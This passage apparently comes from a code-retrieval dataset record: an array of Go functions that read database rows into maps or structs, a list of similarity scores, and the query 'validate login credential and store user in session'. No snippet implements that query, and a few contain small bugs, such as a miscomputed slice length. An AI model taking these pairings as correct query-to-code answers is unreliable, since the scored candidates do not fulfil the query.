[]uint8:\n\t\t\t\t\trow[columnNames[i]] = string(valPtr.([]byte))\n\t\t\t\tcase string:\n\t\t\t\t\trow[columnNames[i]] = valPtr.(string)\n\t\t\t\tcase int64:\n\t\t\t\t\trow[columnNames[i]] = fmt.Sprintf(\"%d\", valPtr)\n\t\t\t\tcase float64:\n\t\t\t\t\trow[columnNames[i]] = fmt.Sprintf(\"%f\", valPtr)\n\t\t\t\tcase bool:\n\t\t\t\t\trow[columnNames[i]] = fmt.Sprintf(\"%t\", valPtr)\n\t\t\t\tcase time.Time:\n\t\t\t\t\trow[columnNames[i]] = valPtr.(time.Time).Format(isoFormat)\n\t\t\t\tcase fmt.Stringer:\n\t\t\t\t\trow[columnNames[i]] = fmt.Sprintf(\"%v\", valPtr)\n\t\t\t\tdefault:\n\t\t\t\t\trow[columnNames[i]] = fmt.Sprintf(\"%v\", valPtr)\n\t\t\t\t\tfmt.Println(\"Warning, column %s is an unhandled type: %v\", columnNames[i], valueType)\n\t\t\t\t}\n\t\t\t}\n\t\t\trowChan <- row\n\t\t}\n\t\tclose(rowChan)\n\t}()\n\treturn rowChan, columnNames\n}", "func readRows(rows *sql.Rows, ttype reflect.Type) ([]interface{}, error) {\n\tcols, _ := rows.Columns()\n\treadCols := make([]interface{}, 0)\n\tfor rows.Next() {\n\t\t//new a struct\n\t\tcolval := reflect.New(ttype).Interface()\n\t\t//[]byte save the encoded conent of the struct's special member\n\t\tstructval := make(map[int]*[]byte)\n\t\t//struct's value\n\t\tvals := reflect.ValueOf(colval).Elem()\n\t\t//save the address of the struct's member\n\t\trets := make([]interface{}, 0, len(cols))\n\t\tfor _, v := range cols {\n\t\t\tidx := findColFieldID(ttype, v)\n\t\t\tif idx == -1 {\n\t\t\t\tvar i interface{}\n\t\t\t\trets = append(rets, &i)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif val := vals.Field(idx); val.Addr().CanInterface() {\n\t\t\t\tif _, has := notEncodeTypes[val.Type()]; !has {\n\t\t\t\t\tsli := make([]byte, 0)\n\t\t\t\t\tstructval[idx] = &sli\n\t\t\t\t\trets = append(rets, &sli)\n\t\t\t\t} else {\n\t\t\t\t\trets = append(rets, val.Addr().Interface())\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tvar i interface{}\n\t\t\t\trets = append(rets, &i)\n\t\t\t}\n\t\t}\n\t\terr := rows.Scan(rets...)\n\t\tif err != nil {\n\t\t\treturn readCols, err\n\t\t}\n\t\t//unmarshal the encoded members\n\t\tfor k, v := range structval {\n\t\t\tif val := vals.Field(k); val.Addr().CanInterface() {\n\t\t\t\tif len(*v) > 0 {\n\t\t\t\t\terr = unmarshal(*v, val.Addr().Interface())\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn readCols, err\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tval = reflect.Zero(val.Type())\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treadCols = append(readCols, colval)\n\t}\n\n\treturn readCols, nil\n}", "func (t *Table) Rows(fi, li int) []map[string]interface{} {\r\n\r\n\tif fi < 0 || fi >= len(t.header.cols) {\r\n\t\tpanic(tableErrInvRow)\r\n\t}\r\n\tif li < 0 {\r\n\t\tli = len(t.rows) - 1\r\n\t} else if li < 0 || li >= len(t.rows) {\r\n\t\tpanic(tableErrInvRow)\r\n\t}\r\n\tif li < fi {\r\n\t\tpanic(\"Last index less than first index\")\r\n\t}\r\n\tres := make([]map[string]interface{}, li-li+1)\r\n\tfor ri := fi; ri <= li; ri++ {\r\n\t\ttrow := t.rows[ri]\r\n\t\trmap := make(map[string]interface{})\r\n\t\tfor ci := 0; ci < len(t.header.cols); ci++ {\r\n\t\t\tc := t.header.cols[ci]\r\n\t\t\trmap[c.id] = trow.cells[c.order].value\r\n\t\t}\r\n\t\tres = append(res, rmap)\r\n\t}\r\n\treturn res\r\n}", "func RowsToMaps(rows *sql.Rows, geomColumn string) ([]map[string]interface{}, error) {\n\tvar maps []map[string]interface{}\n\n\tcols, err := rows.Columns()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor rows.Next() {\n\t\trow := make([]interface{}, len(cols))\n\t\tfor idx, col := range cols {\n\t\t\tif col == geomColumn {\n\t\t\t\trow[idx] = new(wkb.GeometryScanner)\n\t\t\t} else {\n\t\t\t\trow[idx] = new(DumbScanner)\n\t\t\t}\n\t\t}\n\t\terr := rows.Scan(row...)\n\t\tif err != nil {\n\t\t\treturn maps, err\n\t\t}\n\t\tm := make(map[string]interface{})\n\t\tfor idx, col := range cols {\n\t\t\tif geom, isGeomScanner := row[idx].(*wkb.GeometryScanner); isGeomScanner {\n\t\t\t\tif geom.Valid {\n\t\t\t\t\tm[col] = geom.Geometry\n\t\t\t\t} else {\n\t\t\t\t\treturn nil, InvalidGeometryErr\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tds := row[idx].(*DumbScanner)\n\t\t\t\tm[col] = ds.Value\n\t\t\t}\n\t\t}\n\t\tmaps = append(maps, m)\n\t}\n\n\treturn maps, nil\n}", "func (db *DB) query(sql string, num int, v ...interface{}) (Rows, error) {\n\tvar st interface{}\n\tif len(v) > 0 {\n\t\tstValue := reflect.ValueOf(v[0])\n\t\tif reflect.TypeOf(stValue).Kind() == reflect.Struct {\n\t\t\tst = v[0]\n\t\t\tv = v[1:]\n\t\t}\n\t}\n\n\trows, err := db.Queryx(sql, v...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\n\tvar result Rows\n\tif st != nil {\n\t\tfor rows.Next() {\n\t\t\terr := rows.StructScan(st)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tresult = append(result, reflect.ValueOf(st).Elem().Interface())\n\t\t\tif num == 1 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t} else {\n\t\t// get column's name\n\t\tcolumns, err := rows.Columns()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tvar cLen = len(columns)\n\t\tvaluePtrs := make([]interface{}, cLen)\n\t\tvalues := make([][]byte, cLen)\n\t\tfor i := 0; i < cLen; i++ {\n\t\t\tvaluePtrs[i] = &values[i]\n\t\t}\n\t\tfor rows.Next() {\n\t\t\terr := rows.Scan(valuePtrs...)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\trow := make(MapRow, cLen)\n\t\t\tfor i, v := range columns {\n\t\t\t\trow[v] = string(values[i])\n\t\t\t}\n\n\t\t\tresult = append(result, row)\n\t\t\tif num == 1 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\treturn result, nil\n}", "func (p *HbaseClient) GetRowsWithColumns(tableName Text, rows [][]byte, columns [][]byte, attributes map[string]Text) (r []*TRowResult_, err error) {\n\tif err = p.sendGetRowsWithColumns(tableName, rows, columns, attributes); err != nil {\n\t\treturn\n\t}\n\treturn p.recvGetRowsWithColumns()\n}", "func (repo *Repository) Query(query string, args []interface{}) ([]map[string]interface{}, error) {\n\n\trows, err := repo.Db.Query(query, args...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcolumns, err := rows.Columns()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvalues := make([]sql.RawBytes, len(columns))\n\n\tscanArgs := make([]interface{}, len(values))\n\tfor i := range values {\n\t\tscanArgs[i] = &values[i]\n\t}\n\n\tresult := make([]map[string]interface{}, 0)\n\n\tfor rows.Next() {\n\t\terr = rows.Scan(scanArgs...)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tmyRow := make(map[string]interface{})\n\n\t\tvar value string\n\t\tfor i, col := range values {\n\t\t\tif col == nil {\n\t\t\t\tvalue = \"NULL\"\n\t\t\t} else {\n\t\t\t\tvalue = string(col)\n\t\t\t}\n\t\t\tmyRow[columns[i]] = value\n\t\t}\n\t\tresult = append(result, myRow)\n\t}\n\n\tif err = rows.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn result, nil\n}", "func readUsersFromRows(rows *sql.Rows) ([]*User, error) {\n\tvar users []*User\n\n\tfor rows.Next() {\n\t\tu := User{}\n\t\terr := rows.Scan(\n\t\t\t&u.ID,\n\t\t\t&u.Username,\n\t\t\t&u.Email,\n\t\t\t&u.Bio,\n\t\t\t&u.Password,\n\t\t\t&u.Clicks,\n\t\t\t&u.LastClick,\n\t\t\t&u.IsAdmin,\n\t\t)\n\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tusers = append(users, &u)\n\t}\n\n\treturn users, nil\n}", "func (p *Generator) GetRows(module *sysl.Module) []string {\n\tif packages := p.ModuleAsMacroPackage(module); len(packages) > 1 {\n\t\tkeys := SortedKeys(packages)\n\t\treturn keys\n\t}\n\tpackages := p.ModuleAsPackages(module)\n\treturn SortedKeys(packages)\n}", "func databaseRowsToPaginationDataList(rows *sql.Rows, dtFields []dtColumn) ([]map[string]string, error) {\n\tvar dataList []map[string]string\n\n\tcolumns, err := rows.Columns()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not get row.Columns %w\", err)\n\t}\n\n\tvalues := make([]sql.RawBytes, len(columns))\n\t// rows.Scan wants '[]interface{}' as an argument, so we must copy the\n\t// references into such a slice\n\t// See http://code.google.com/p/go-wiki/wiki/InterfaceSlice for details\n\tscanArgs := make([]interface{}, len(values))\n\tfor i := range values {\n\t\tscanArgs[i] = &values[i]\n\t}\n\n\tfor rows.Next() {\n\t\t// get RawBytes from data\n\t\terr = rows.Scan(scanArgs...)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"could not scan rows to 'scanArgs...' %w\", err)\n\t\t}\n\n\t\tvar value string\n\n\t\tfor i, col := range values {\n\t\t\t// Here we can check if the value is nil (NULL value)\n\t\t\tif col == nil {\n\t\t\t\tvalue = \"NULL\"\n\t\t\t} else {\n\t\t\t\tvalue = string(col)\n\t\t\t}\n\n\t\t\tfor _, dtField := range dtFields {\n\t\t\t\tif dtField.dbColumnName == columns[i] {\n\t\t\t\t\tdtObject := map[string]string{dtField.dtColumnName: value}\n\t\t\t\t\tdataList = append(dataList, dtObject)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn dataList, nil\n}", "func (f *StreamFetcher) FetchRows(ctx context.Context, offset, n uint64) (*sql.Rows, error) {\n\treturn f.DB.QueryContext(\n\t\tctx,\n\t\t`SELECT `+fetchColumns+`\n\t\tFROM ax_messagestore_message\n\t\tWHERE stream_id = ?\n\t\tAND stream_offset >= ?\n\t\tORDER BY stream_offset\n\t\tLIMIT ?`,\n\t\tf.StreamID,\n\t\toffset,\n\t\tn,\n\t)\n}", "func GetRows(currency string) (*sql.Rows, error) {\n\tif !common.ValidateCurrency(currency) {\n\t\treturn nil, errors.New(\"invalid currency\")\n\t}\n\t// TODO: implement date range windowing\n\treturn db.Queryx(fmt.Sprintf(\"SELECT * FROM %s\", currency))\n}", "func ReadRowsChan(reader io.Reader) (rows chan RowErr) {\n\trows = make(chan RowErr)\n\tgo readRowsRoutine(reader, rows)\n\treturn\n}", "func (res *Result) Rows() [][]interface{} {\n\tifacesSlice := make([][]interface{}, len(res.rows))\n\tfor i := range res.rows {\n\t\tifaces := make([]interface{}, len(res.rows[i]))\n\t\tfor j := range res.rows[i] {\n\t\t\tifaces[j] = res.rows[i][j]\n\t\t}\n\t\tifacesSlice[i] = ifaces\n\t}\n\treturn ifacesSlice\n}", "func (conn *db) SelectMapRow(stmt Stmt, mapper MapMapper) (rowsReturned int, err error) {\n\treturn conn.runMapRow(stmt, mapper)\n}", "func (f *GlobalFetcher) FetchRows(ctx context.Context, offset, n uint64) (*sql.Rows, error) {\n\treturn f.DB.QueryContext(\n\t\tctx,\n\t\t`SELECT `+fetchColumns+`\n\t\tFROM ax_messagestore_message\n\t\tWHERE global_offset >= ?\n\t\tORDER BY global_offset\n\t\tLIMIT ?`,\n\t\toffset,\n\t\tn,\n\t)\n}", "func (m *MonkeyWrench) Read(table string, keys []spanner.KeySet, columns []string) ([]*spanner.Row, error) {\n\t// Default to all keys.\n\tvar spannerKeys = spanner.AllKeys()\n\n\t// If we have some specified keys, use those instead.\n\tif len(keys) > 0 {\n\t\tspannerKeys = spanner.KeySets(keys...)\n\t}\n\n\t// Execute the query.\n\titer := m.Client.Single().Read(m.Context, table, spannerKeys, columns)\n\treturn getResultSlice(iter)\n}", "func (mc MultiCursor) GetRows() []int {\n\trowmap := make(map[int]bool)\n\tfor _, cursor := range mc.cursors {\n\t\trowmap[cursor.Row()] = true\n\t}\n\trows := []int{}\n\tfor row := range rowmap {\n\t\trows = append(rows, row)\n\t}\n\treturn rows\n}", "func (table *Table) Read(rowNumber int) (map[string]string, int) {\n\trow := make(map[string]string)\n\tstatus := table.Seek(rowNumber)\n\tif status == st.OK {\n\t\trowInBytes := make([]byte, table.RowLength)\n\t\t_, err := table.DataFile.Read(rowInBytes)\n\t\tif err == nil {\n\t\t\t// For the columns in their order\n\t\t\tfor _, column := range table.ColumnsInOrder {\n\t\t\t\t// column1:value2, column2:value2...\n\t\t\t\trow[column.Name] = strings.TrimSpace(string(rowInBytes[column.Offset : column.Offset+column.Length]))\n\t\t\t}\n\t\t} else {\n\t\t\tlogg.Err(\"table\", \"Read\", err.String())\n\t\t\treturn nil, st.CannotReadTableDataFile\n\t\t}\n\t}\n\treturn row, st.OK\n}", "func QueryReturnRows(query string, db *sql.DB, arg ...interface{}) (bool, []string) {\n\trows, err := db.Query(query, arg...)\n\tCheck(err)\n\tdefer rows.Close()\n\n\tvar items []string\n\tfor rows.Next() {\n\t\tvar currentItem string\n\t\terr := rows.Scan(&currentItem)\n\t\tCheck(err)\n\n\t\titems = append(items, currentItem)\n\t}\n\n\tif len(items) < 1 {\n\t\treturn false, []string{}\n\t}\n\n\treturn true, items\n}", "func rowsToThings(rows *sql.Rows) Things {\n\tvar (\n\t\tt Thing\n\t\tresult Things\n\t\terr error\n\t)\n\n\tcheckRows(\"Things\", rows)\n\n\tfor i := 0; rows.Next(); i++ {\n\t\terr := rows.Scan(&t.ckey, &t.cval, &t.url, &t.data, &t.clockid, &t.tsn)\n\t\tcheckErr(\"scan things\", err)\n\n\t\tresult = append(result, t)\n\t}\n\terr = rows.Err()\n\tcheckErr(\"end reading things loop\", err)\n\n\tfmt.Printf(\"returning things: %d rows\\n\", len(result))\n\treturn result\n}", "func (r *Reader) Row() []interface{} {\n\treturn r.row\n}", "func (conn *db) QueryMapRow(query string, mapper MapMapper, args ...any) (rowsReturned int, err error) {\n\treturn conn.runMapRow(builder.NewQuery(query, args), mapper)\n}", "func (t *Table) GetNomsIndexRowData(ctx context.Context, indexName string) (types.Map, error) {\n\tsch, err := t.GetSchema(ctx)\n\tif err != nil {\n\t\treturn types.EmptyMap, err\n\t}\n\n\tindexes, err := t.GetIndexSet(ctx)\n\tif err != nil {\n\t\treturn types.EmptyMap, err\n\t}\n\n\tidx, err := indexes.GetIndex(ctx, sch, indexName)\n\tif err != nil {\n\t\treturn types.EmptyMap, err\n\t}\n\n\treturn durable.NomsMapFromIndex(idx), nil\n}", "func (p *HbaseClient) GetRow(tableName Text, row Text, attributes map[string]Text) (r []*TRowResult_, err error) {\n\tif err = p.sendGetRow(tableName, row, attributes); err != nil {\n\t\treturn\n\t}\n\treturn p.recvGetRow()\n}", "func (t *Table) Row(ri int) map[string]interface{} {\r\n\r\n\tif ri < 0 || ri > len(t.header.cols) {\r\n\t\tpanic(tableErrInvRow)\r\n\t}\r\n\tres := make(map[string]interface{})\r\n\ttrow := t.rows[ri]\r\n\tfor ci := 0; ci < len(t.header.cols); ci++ {\r\n\t\tc := t.header.cols[ci]\r\n\t\tres[c.id] = trow.cells[c.order].value\r\n\t}\r\n\treturn res\r\n}", "func ReadRows(r Rows) Stream {\n c, _ := r.(io.Closer)\n return &rowStream{rows: r, maybeCloser: maybeCloser{c: c}}\n}", "func (my *MySQL) Query(sql string, params ...interface{}) (\n rows []*Row, res *Result, err os.Error) {\n\n res, err = my.Start(sql, params...)\n if err != nil {\n return\n }\n // Read rows\n var row *Row\n for {\n row, err = res.GetRow()\n if err != nil || row == nil {\n break\n }\n rows = append(rows, row)\n }\n return\n}", "func ScanRow(row *sql.Rows, metadata Metadata) DataContainer {\n\tdata := DataContainer{\n\t\tMetadata: metadata,\n\t\tValues: make(map[string]interface{}),\n\t}\n\n\tscanArgs := make([]interface{}, 0, metadata.Len())\n\tfor _, colName := range metadata.ColumnNames {\n\t\tcolType, _ := metadata.Type(colName)\n\n\t\tswitch colType {\n\t\tcase \"VARCHAR\":\n\t\t\tv := new(sql.NullString)\n\t\t\tscanArgs = append(scanArgs, v)\n\t\tcase \"BOOL\":\n\t\t\tb := new(sql.NullBool)\n\t\t\tscanArgs = append(scanArgs, b)\n\t\tcase \"DATE\":\n\t\t\td := new(pq.NullTime)\n\t\t\tscanArgs = append(scanArgs, d)\n\t\tcase \"TIMESTAMP\":\n\t\t\td := new(pq.NullTime)\n\t\t\tscanArgs = append(scanArgs, d)\n\t\tcase \"NUMERIC\":\n\t\t\tn := new(sql.NullFloat64)\n\t\t\tscanArgs = append(scanArgs, n)\n\t\tcase \"INT8\":\n\t\t\ti := new(sql.NullInt64)\n\t\t\tscanArgs = append(scanArgs, i)\n\t\tdefault:\n\t\t\tlog.Printf(\"unhandled data type %s for column %s, using string\", colType, colName)\n\t\t\ts := new(sql.NullString)\n\t\t\tscanArgs = append(scanArgs, s)\n\t\t}\n\t}\n\n\terr := row.Scan(scanArgs...)\n\tFatalIfErr(\"scanning query result\", err)\n\n\tfor i, colName := range metadata.ColumnNames {\n\t\tdata.Values[colName] = scanArgs[i]\n\t}\n\n\treturn data\n}", "func buildResultRow(e *base.Definition, columns []string) []interface{} {\n\n\tresults := make([]interface{}, len(columns))\n\ttimeType := reflect.ValueOf(time.Now())\n\tgocqlUUIDType := reflect.ValueOf(gocql.UUIDFromTime(time.Now()))\n\n\tfor i, column := range columns {\n\t\t// get the type of the field from the ColumnToType mapping for object\n\t\t// That we we can allocate appropriate memory for this field\n\t\ttyp := e.ColumnToType[column]\n\n\t\tswitch typ.Kind() {\n\t\tcase reflect.String:\n\t\t\tvar value *string\n\t\t\tresults[i] = &value\n\t\tcase reflect.Int32, reflect.Uint32, reflect.Int:\n\t\t\t// C* internally uses int and int64\n\t\t\tvar value *int\n\t\t\tresults[i] = &value\n\t\tcase reflect.Int64, reflect.Uint64:\n\t\t\t// C* internally uses int and int64\n\t\t\tvar value *int64\n\t\t\tresults[i] = &value\n\t\tcase reflect.Bool:\n\t\t\tvar value *bool\n\t\t\tresults[i] = &value\n\t\tcase reflect.Slice:\n\t\t\tvar value *[]byte\n\t\t\tresults[i] = &value\n\t\tcase timeType.Kind():\n\t\t\tvar value *time.Time\n\t\t\tresults[i] = &value\n\t\tcase gocqlUUIDType.Kind():\n\t\t\tvar value *gocql.UUID\n\t\t\tresults[i] = &value\n\t\tcase reflect.Ptr:\n\t\t\t// Special case for custom optional string type:\n\t\t\t// string type used in Cassandra\n\t\t\t// converted to/from custom type in ORM layer\n\t\t\tif typ == reflect.TypeOf(&base.OptionalString{}) {\n\t\t\t\tvar value *string\n\t\t\t\tresults[i] = &value\n\t\t\t\tbreak\n\t\t\t}\n\t\t\t// Special case for custom optional int type:\n\t\t\t// int64 type used in Cassandra\n\t\t\t// converted to/from custom type in ORM layer\n\t\t\tif typ == reflect.TypeOf(&base.OptionalUInt64{}) {\n\t\t\t\tvar value *int64\n\t\t\t\tresults[i] = &value\n\t\t\t\tbreak\n\t\t\t}\n\t\t\t// for unrecognized pointer types, fall back to default logging\n\t\t\tfallthrough\n\t\tdefault:\n\t\t\t// This should only happen if we start using a new cassandra type\n\t\t\t// without adding to the translation layer\n\t\t\tlog.WithFields(log.Fields{\"type\": typ.Kind(), \"column\": column}).\n\t\t\t\tInfof(\"type not found\")\n\t\t}\n\t}\n\n\treturn results\n}", "func initColTypeRowReceiverMap() {\n\tdataTypeStringArr := []string{\n\t\t\"CHAR\", \"NCHAR\", \"VARCHAR\", \"NVARCHAR\", \"CHARACTER\", \"VARCHARACTER\",\n\t\t\"TIMESTAMP\", \"DATETIME\", \"DATE\", \"TIME\", \"YEAR\", \"SQL_TSI_YEAR\",\n\t\t\"TEXT\", \"TINYTEXT\", \"MEDIUMTEXT\", \"LONGTEXT\",\n\t\t\"ENUM\", \"SET\", \"JSON\", \"NULL\", \"VAR_STRING\",\n\t}\n\n\tdataTypeIntArr := []string{\n\t\t\"INTEGER\", \"BIGINT\", \"TINYINT\", \"SMALLINT\", \"MEDIUMINT\",\n\t\t\"INT\", \"INT1\", \"INT2\", \"INT3\", \"INT8\",\n\t\t\"UNSIGNED INT\", \"UNSIGNED BIGINT\", \"UNSIGNED TINYINT\", \"UNSIGNED SMALLINT\", // introduced in https://github.com/go-sql-driver/mysql/pull/1238\n\t}\n\n\tdataTypeNumArr := append(dataTypeIntArr, []string{\n\t\t\"FLOAT\", \"REAL\", \"DOUBLE\", \"DOUBLE PRECISION\",\n\t\t\"DECIMAL\", \"NUMERIC\", \"FIXED\",\n\t\t\"BOOL\", \"BOOLEAN\",\n\t}...)\n\n\tdataTypeBinArr := []string{\n\t\t\"BLOB\", \"TINYBLOB\", \"MEDIUMBLOB\", \"LONGBLOB\", \"LONG\",\n\t\t\"BINARY\", \"VARBINARY\",\n\t\t\"BIT\", \"GEOMETRY\",\n\t}\n\n\tfor _, s := range dataTypeStringArr {\n\t\tdataTypeString[s] = struct{}{}\n\t\tcolTypeRowReceiverMap[s] = SQLTypeStringMaker\n\t}\n\tfor _, s := range dataTypeIntArr {\n\t\tdataTypeInt[s] = struct{}{}\n\t}\n\tfor _, s := range dataTypeNumArr {\n\t\tcolTypeRowReceiverMap[s] = SQLTypeNumberMaker\n\t}\n\tfor _, s := range dataTypeBinArr {\n\t\tdataTypeBin[s] = struct{}{}\n\t\tcolTypeRowReceiverMap[s] = SQLTypeBytesMaker\n\t}\n}", "func (sc *SmartContract) RetriveRecords(stub shim.ChaincodeStubInterface, criteria string) []map[string]interface{} {\n\trecords := make([]map[string]interface{}, 0)\n\tselectorString := fmt.Sprintf(\"{\\\"selector\\\":%s }\", criteria)\n\t_SC_LOGGER.Info(\"Query Selector :\" + selectorString)\n\tresultsIterator, _ := stub.GetQueryResult(selectorString)\n\tfor resultsIterator.HasNext() {\n\t\trecord := make(map[string]interface{})\n\t\trecordBytes, _ := resultsIterator.Next()\n\t\terr := json.Unmarshal(recordBytes.Value, &record)\n\t\tif err != nil {\n\t\t\t_SC_LOGGER.Infof(\"Unable to unmarshal data retived:: %v\", err)\n\t\t}\n\t\trecords = append(records, record)\n\t}\n\treturn records\n}", "func (r *result) Columns() []string {\n\treturn r.columns\n}", "func (e *LoadDataWorker) GetRows() [][]types.Datum {\n\treturn e.rows\n}", "func getRowsByColumnValue(stub shim.ChaincodeStubInterface, args []string) (*shim.Table, []shim.Row, error) {\n\n\t// 1 or 3 arguments should be provided:\n\t// 1 when filter is not needed: table name\n\t// 3 when filter is need: table name, filter column, filter value\n\n\tvar tableName, filterColumn, filterValue string\n\tvar isFiltered bool\n\n\tvar tbl *shim.Table\n\tvar rows []shim.Row\n\n\tswitch l := len(args); l {\n\tcase 1:\n\t\ttableName = args[0]\n\t\tisFiltered = false\n\tcase 3:\n\t\ttableName, filterColumn, filterValue = args[0], args[1], args[2]\n\t\tisFiltered = true\n\tdefault:\n\t\treturn tbl, rows, errors.New(\"Incorrect number of arguments in getRowsByColumnValue func. Expecting: 1 or 3\")\n\t}\n\n\ttbl, err := stub.GetTable(tableName)\n\tif err != nil {\n\t\treturn tbl, rows, errors.New(\"Error in getRowsByColumnValue func: \" + err.Error())\n\t}\n\n\tvar cols []shim.Column\n\n\trowChan, _ := stub.GetRows(tableName, cols)\n\trow, ok := <-rowChan\n\n\tif isFiltered {\n\t\tvar columnNumber int\n\t\tvar isColumnFound bool\n\t\tisColumnFound = false\n\n\t\tfor i, cd := range tbl.ColumnDefinitions {\n\t\t\tif cd.Name == filterColumn {\n\t\t\t\tcolumnNumber = i\n\t\t\t\tisColumnFound = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tif !isColumnFound {\n\t\t\treturn tbl, rows, errors.New(\"Column is not found in getRowsByColumnValue func: \" + err.Error())\n\t\t}\n\n\t\tvar i int\n\t\tfor ok {\n\t\t\tif row.Columns[columnNumber].GetString_() == filterValue {\n\t\t\t\trows = append(rows, row)\n\t\t\t\ti++\n\t\t\t}\n\t\t\trow, ok = <-rowChan\n\t\t}\n\t} else {\n\t\tfor ok {\n\t\t\trows = append(rows, row)\n\t\t\trow, ok = <-rowChan\n\t\t}\n\t}\n\n\treturn tbl, rows, nil\n}", "func (mc MultiCursor) GetRowsCols() map[int][]int {\n\trows := map[int][]int{}\n\tfor _, cursor := range mc.cursors {\n\t\tr, c := cursor.RowCol()\n\t\t_, exist := rows[r]\n\t\tif !exist {\n\t\t\trows[r] = []int{}\n\t\t}\n\t\trows[r] = append(rows[r], c)\n\t}\n\treturn rows\n}", "func ReadRows(reader io.Reader) ([][]string, error) {\n\treturn newTabReader(reader).ReadAll()\n}", "func GetProductRowsByAlias(ctx context.Context, db SQLHandle, keys ...interface{}) (rows ProductRows, err error) {\n\trows = make(ProductRows, 0, len(keys))\n\tif _, err = queryWithJSONArgs(ctx, db, rows.ReceiveRows, SQLGetProductRowsByAlias, Keys(keys)); err != nil {\n\t\treturn nil, formatError(\"GetProductRowsByAlias\", err)\n\t}\n\treturn rows, nil\n}", "func (db *GeoDB) readReplies(qCount int, conn redis.Conn) ([]interface{}, error) {\n\tallRes := make([]interface{}, 0)\n\n\tfor i := 0; i < qCount; i++ {\n\t\tres, err := conn.Receive()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tallRes = append(allRes, res.([]interface{})...)\n\t}\n\n\treturn allRes, nil\n}", "func GetPackageRowsByID(ctx context.Context, db SQLHandle, keys ...interface{}) (rows PackageRows, err error) {\n\trows = make(PackageRows, 0, len(keys))\n\tif _, err = queryWithJSONArgs(ctx, db, rows.ReceiveRows, SQLGetPackageRowsByID, Keys(keys)); err != nil {\n\t\treturn nil, formatError(\"GetPackageRowsByID\", err)\n\t}\n\treturn rows, nil\n}", "func processLine(headers []string, dataList []string) (map[string]string, error) {\n\t// Make sure there is the same num of headers as columns, otherwise throw error\n\tif len(dataList) != len(headers) {\n\t\treturn nil, errors.New(\"line does not match headers format, skipping line.\")\n\t}\n\n\t// Create the map we're going to populate\n\trecordMap := make(map[string]string)\n\n\t// For each header we are going to set a map key with the corresponding column val\n\tfor i, name := range headers {\n\t\trecordMap[name] = dataList[i]\n\t}\n\n\t// Returning the generated map\n\treturn recordMap, nil\n}", "func MakeRowReceiver(colTypes []string) RowReceiverArr {\n\trowReceiverArr := make([]RowReceiverStringer, len(colTypes))\n\tfor i, colTp := range colTypes {\n\t\trecMaker, ok := colTypeRowReceiverMap[colTp]\n\t\tif !ok {\n\t\t\trecMaker = SQLTypeStringMaker\n\t\t}\n\t\trowReceiverArr[i] = recMaker()\n\t}\n\treturn RowReceiverArr{\n\t\tbound: false,\n\t\treceivers: rowReceiverArr,\n\t}\n}", "func (r *Iter_UServ_SelectUserById) Columns() ([]string, error) {\n\tif r.err != nil {\n\t\treturn nil, r.err\n\t}\n\tif r.rows != nil {\n\t\treturn r.rows.Columns()\n\t}\n\treturn nil, nil\n}", "func (s *Statement) Row() (values []interface{}) {\n\tfor i := 0; i < s.Columns(); i++ {\n\t\tvalues = append(values, s.Column(i))\n\t}\n\treturn\n}", "func RowToMap(row CollectableRow) (map[string]any, error) {\n\tvar value map[string]any\n\terr := row.Scan((*mapRowScanner)(&value))\n\treturn value, err\n}", "func (r *Runner) Rows() (*sql.Rows, error) {\n\tq, err := r.query.Construct()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn r.db.QueryContext(r.ctx, q.Query(), q.Args()...)\n}" ]
[ "0.774594", "0.6456243", "0.63818073", "0.63593537", "0.62354606", "0.6176898", "0.6175992", "0.61465406", "0.61324364", "0.6101373", "0.598068", "0.5978435", "0.59511024", "0.59288955", "0.59059036", "0.59059036", "0.59018993", "0.5901236", "0.5901236", "0.5900097", "0.5888013", "0.5870959", "0.58518475", "0.58057153", "0.58055276", "0.5774569", "0.57291675", "0.57111293", "0.5688449", "0.5640065", "0.5567866", "0.5562704", "0.55438036", "0.5525996", "0.55180115", "0.54985267", "0.5464996", "0.5456199", "0.5445032", "0.54234535", "0.5410618", "0.53995353", "0.538956", "0.5380361", "0.5379778", "0.5365833", "0.53491324", "0.53119123", "0.528598", "0.52794874", "0.5247652", "0.523802", "0.52342016", "0.52281165", "0.5209561", "0.5184074", "0.51780355", "0.51544625", "0.5148319", "0.5123721", "0.5119402", "0.51085734", "0.5093437", "0.5084588", "0.5084392", "0.5078565", "0.50553864", "0.5053036", "0.5040713", "0.50335526", "0.50226843", "0.501883", "0.5005859", "0.49939102", "0.49830574", "0.49752906", "0.49733916", "0.49647725", "0.4957126", "0.49473512", "0.4931813", "0.4923073", "0.49205112", "0.4917151", "0.4916001", "0.49101916", "0.489981", "0.48975354", "0.48926786", "0.48874816", "0.4877478", "0.48620802", "0.4861673", "0.48537055", "0.48532167", "0.4852159", "0.48465315", "0.48122942", "0.48036972", "0.47996545" ]
0.6987408
1
validate login credential and store user in session
